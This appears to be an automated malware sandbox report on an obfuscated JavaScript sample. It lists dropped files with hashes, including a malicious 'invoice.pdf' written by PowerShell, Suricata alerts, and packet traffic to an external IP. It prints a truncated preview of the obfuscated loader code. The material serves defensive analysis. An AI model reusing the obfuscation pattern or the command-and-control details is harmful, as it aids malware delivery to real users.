Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8ee8ab63-c20b-450b-ab1d-0366d3d6660f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16960), with CRLF line terminators
Entropy (8bit):	4.920891917859995
TrID:
File name:	1923918274137833386.js
File size:	20'571 bytes
MD5:	05638c7994a2d9c60248e71fa8f55272
SHA1:	d2d4093ceca63e2595cbb16af7811e268afd1de2
SHA256:	e0688538cfd09bcd06dddd7d56850abaf4f6a2aa0dd837c786ec6aabe2e083f0
SHA512:	557639612c9c953a128117b6e6a097456e5eb7795b53ac8bbe792069d3de41dfefc8d84e523e62eb823ae593bb030da5bf6b22d19f91312c73a817a9a665e0e7
SSDEEP:	192:TyqouqLGKKlKKsV/FpQl/AWQ+/TMDzoUDEKLFATJW4lRByEvohPRRiAfGll6TcpZ:KFV/OCbox4ATJW4bByEvohDiAf04TcZp
TLSH:	FE92A8C7D91996D3EAD851F0AEFB40B202EC538A7F41294F5A8725C1C0E6DA83EC65F4
File Content Preview:	function lxdopq(){cnunkgk=[1031,3079,5127,4103,2055,3072];var peqdtqgt=this[lhvsqmly+dyonc+xrqkeviz+qmevyhmgx+jlkyf+zddklk+lyysqlj+ziyctabtx](this[yzntvkhv+nehicduq+njrukhuv+xrqkeviz+lcrilrhhg+lhvsqmly+ziyctabtx][gjjhuex+xrqkeviz+jlkyf+dyonc+ziyctabtx+jlk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:34:56.979636+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T17:34:59.888665+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:34:56.173769951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:56.178855896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.178982019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:56.182349920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:56.187206030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979477882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979541063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979569912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979588032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979604959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979620934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979635954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:56.979641914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979660034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979677916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979696989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:56.979712009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:56.979729891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:56.984527111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.025326967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.025363922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.025486946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.108894110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.108918905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.108926058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.108932018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.109066010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.113610983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.113630056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.113641977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.113652945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.113660097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.113717079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.118422985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.118441105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.118452072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.118464947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.118478060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.118503094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.118541956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.123194933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.123220921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.123234034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.123290062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.123291969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.123307943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.123334885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.127954960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.127974987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.127989054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.128031969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.128057957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.157406092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.157428026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.157442093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.157542944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.197222948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.199111938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.237293005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237312078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237334967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237346888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237360954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237416029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.237482071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.237731934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237746000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237760067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237773895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.237785101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.237802029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.238400936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.238431931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.238444090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.238455057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.238466978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.238467932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.238501072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.239275932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.239291906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.239305019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.239326000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.239339113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.239350080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.239366055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.240190029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.240206957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.240220070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.240231991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.240245104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.240261078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.240283012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.241806984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241823912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241837025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241849899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241863966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241882086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.241913080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.241942883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241955042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241966963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.241981030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.241990089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.242005110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.242017984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.242060900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.242772102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.242784977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.242798090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.242810965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.242830038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.242830992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.242855072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.243662119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.243675947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.243690014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.243705034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.243722916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.245587111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.245676041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.245687962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.245698929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.245723009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.245739937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.282845020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.282866001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.282931089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.288516045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.288535118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.288547993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.288561106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.288619041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.288619041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.341676950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.341721058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.341821909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.367468119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367487907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367547989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367561102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367573023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367587090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367625952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.367666006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.367685080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367698908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367762089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.367877007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367888927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.367938042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.368047953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368066072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368077040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368105888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.368230104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368242979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368254900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368267059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368273020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.368298054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.368324995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368338108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368350029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368365049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.368366003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368379116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368391037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368395090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.368406057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.368415117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.368486881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.369518995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369533062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369544983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369558096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369569063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369575977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369580984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.369587898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369601965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369616032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.369642973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.369652987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.369991064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370003939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370048046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.370163918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370176077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370207071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.370305061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370317936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370328903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370341063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370351076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.370352030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370361090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.370366096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370379925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.370400906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.370436907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.371258020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371272087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371283054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371325970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.371422052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371434927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371445894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371458054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371469021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.371469975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371484995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371490955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.371496916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371510029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.371514082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.371539116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.372221947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372235060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372246981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372258902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372275114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372279882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.372311115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.372378111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372390032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372400999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372412920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372427940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372442007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.372478008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.372509956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.372550011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.373225927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373239994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373250961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373262882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373275995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373280048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.373289108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373302937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373317957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.373327971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.373337984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373353004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.373394012 CET	49730	80	192.168.2.4	193.143.1.205
